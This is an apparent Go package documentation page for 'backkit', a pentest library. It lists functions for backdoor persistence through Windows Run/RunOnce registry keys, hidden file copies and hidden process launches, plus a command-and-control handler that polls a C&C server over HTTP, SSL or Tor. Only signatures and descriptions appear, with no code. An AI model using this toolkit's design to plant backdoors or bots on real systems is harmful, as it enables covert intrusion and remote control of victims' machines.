backkit

package module
v0.3.1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Aug 23, 2021 License: MIT Imports: 16 Imported by: 0

README

backkit

Golang package for pentest

Documentation

Documentation

Overview

Package for pentest. It contains startup, persistence and some useful utils for pentest.

Index

Constants

View Source
const (
	// Use normal HTTP connection when connecting C&C.
	CONNECTION_NORMAL = 0

	// Use Tor secured HTTP connection when connecting C&C.
	// It will use embedded Tor with Bine package.
	CONNECTION_TOR = 1

	// Use SSL encrypted HTTP connection when connecting C&C.
	CONNECTION_SSL = 2
)

Variables

This section is empty.

Functions

func AddCopyPersistence

func AddCopyPersistence(path string, change, hide bool) error

Copy current backdoor file to another location to prepare for someone erasing the current file. If u set change as true, current backdoor exited after run copied file. If u set hide as true, copied file will be hid.

func AddCurrentFileToStartupUsingHkcuRun added in v0.2.3

func AddCurrentFileToStartupUsingHkcuRun(name string) error

Add current file to HKCU Run registry for startup.

func AddCurrentFileToStartupUsingHkcuRunOnce added in v0.2.3

func AddCurrentFileToStartupUsingHkcuRunOnce(name string) error

Add current file to HKCU RunOnce registry for startup. It will be deleted after reboot.

func AddCurrentFileToStartupUsingHklmRun added in v0.2.3

func AddCurrentFileToStartupUsingHklmRun(name string) error

Add current file to HKLM Run registry for startup. It required admin privileges.

func AddCurrentFileToStartupUsingHklmRunOnce added in v0.2.3

func AddCurrentFileToStartupUsingHklmRunOnce(name string) error

Add current file to HKLM RunOnce registry for startup. It required admin privileges. It will be deleted after reboot.

func AddExternalFileToStartupUsingHkcuRun added in v0.2.3

func AddExternalFileToStartupUsingHkcuRun(name, path string) error

Add external file to HKCU Run registry for startup.

func AddExternalFileToStartupUsingHkcuRunOnce added in v0.2.3

func AddExternalFileToStartupUsingHkcuRunOnce(name, path string) error

Add external file to HKCU RunOnce registry for startup. It will be deleted after reboot.

func AddExternalFileToStartupUsingHklmRun added in v0.2.3

func AddExternalFileToStartupUsingHklmRun(name, path string) error

Add external file to HKLM Run registry for startup. It required admin privileges.

func AddExternalFileToStartupUsingHklmRunOnce added in v0.2.3

func AddExternalFileToStartupUsingHklmRunOnce(name, path string) error

Add external file to HKLM RunOnce registry for startup. It required admin privileges. It will be deleted after reboot.

func ByteToHexString added in v0.3.1

func ByteToHexString(b [32]byte) string

Change byte array to hex string.

func CopyDirectory

func CopyDirectory(src, dst string) error

Copy directory from src to dst.

func CopyFile

func CopyFile(src, dst string) error

Copy file from src to dst.

func DeleteHkcuRunOnceStartup added in v0.2.3

func DeleteHkcuRunOnceStartup(name string) error

Delete key in HKCU RunOnce registry for startup.

func DeleteHkcuRunStartup added in v0.2.3

func DeleteHkcuRunStartup(name string) error

Delete key in HKCU Run registry for startup.

func DeleteHklmRunOnceStartup added in v0.2.3

func DeleteHklmRunOnceStartup(name string) error

Delete key in HKLM RunOnce registry for startup.

func DeleteHklmRunStartup added in v0.2.3

func DeleteHklmRunStartup(name string) error

Delete key in HKLM Run registry for startup.

func DownloadFile

func DownloadFile(url, path string) error

Download file from url then save to path.

func DownloadString

func DownloadString(url string) (string, error)

Download string from url then return downloaded string.

func GenerateUniqueID added in v0.3.1

func GenerateUniqueID() (string, error)

func GetCurrentPath

func GetCurrentPath() (string, error)

Get current file path.

func GetPrivateIP

func GetPrivateIP() (string, error)

Get private IP of current device.

func GetPublicIP

func GetPublicIP() (string, error)

Get public IP of current device. To get public IP, it will send http request to external web service.

func GetRandomString added in v0.2.3

func GetRandomString(n int) string

Generate random string.

func HexStringToByte added in v0.3.1

func HexStringToByte(str string) []byte

Change byte array to hex string.

func RemoveFile added in v0.3.1

func RemoveFile(path string) error

Remove file from disk.

func RunExecutable

func RunExecutable(path string, hide bool) (*os.Process, error)

Run executable file in path. If u set hide as true, window of process will be hid. It will return created process's pid if succeed.

Types

type Command added in v0.3.1

type Command struct {
	Type string   `json:"type"`
	Args []string `json:"args"`
}

type Commands added in v0.3.1

type Commands struct {
	Commands []Command `json:"commands"`
}

type Handler added in v0.3.1

type Handler struct {
	Host           string
	Port           int
	Interval       int
	ConnectionType int

	Commands map[string]func(...string)
}

func NewHandler added in v0.3.1

func NewHandler(host string, port, connectionType int) Handler

Create new handler and return it.

func (*Handler) AddCommand added in v0.3.1

func (h *Handler) AddCommand(command string, commandFunc func(...string)) error

Add command to handler.

func (*Handler) RemoveCommand added in v0.3.1

func (h *Handler) RemoveCommand(command string) error

Remove command from handler.

func (*Handler) SetInterval added in v0.3.1

func (h *Handler) SetInterval(interval int)

Set interval in second between each HTTP request.

func (*Handler) Start added in v0.3.1

func (h *Handler) Start(maxErrorCount int) error

Start handler to receive parse command from C&C server. maxErrorCount limits error in C&C server connection. If u set maxErrorCount as -1, it will ignore every error between C&C and bot.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL